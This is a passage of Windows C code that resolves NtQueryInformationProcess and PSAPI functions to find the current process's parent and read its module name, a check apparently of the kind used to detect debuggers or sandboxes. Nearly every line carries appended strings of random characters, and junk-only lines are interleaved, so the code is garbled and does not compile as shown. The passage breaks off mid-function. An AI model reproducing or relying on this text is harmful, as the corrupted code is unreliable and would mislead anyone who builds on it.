DWORD AffinityMask; Nob(bD5SpE
DWORD BasePriority; w0*6GCP
ULONG UniqueProcessId; 8 (.<
ULONG InheritedFromUniqueProcessId; #C>pA<YJzK
} PROCESS_BASIC_INFORMATION; 1uXtBk6
TF=S \
Q
PROCNTQSIP NtQueryInformationProcess; JxD@y}ZYE
'Fc&"(!||
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X% _~9'#%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8<.KWr
#v(+3Hp
HANDLE hProcess; _|tg#i|Om
PROCESS_BASIC_INFORMATION pbi; $(zJ
ZibHT:n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f4g(hjETbu
if(NULL == hInst ) return 0; 4,<~t>M1
+p<Y)Z(>6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /;.M$}Z>`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B0R[f
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L</"m[
gXw\_ue<
if (!NtQueryInformationProcess) return 0; }#E4t3
&S|laqH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JHO9d:{-
if(!hProcess) return 0; CSsb~/Oxu
,cC4d`
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F=P|vYL&&
OH)SdSBz
CloseHandle(hProcess); orHVL 2
KK
UNY>Q7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mLq?-&F
if(hProcess==NULL) return 0; (1jkZ^7
O^:Pr8|{J
HMODULE hMod; h/_z QR-
char procName[255]; 7Q[P
unsigned long cbNeeded; Vq<|DM3z<
cL1cBWd
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7<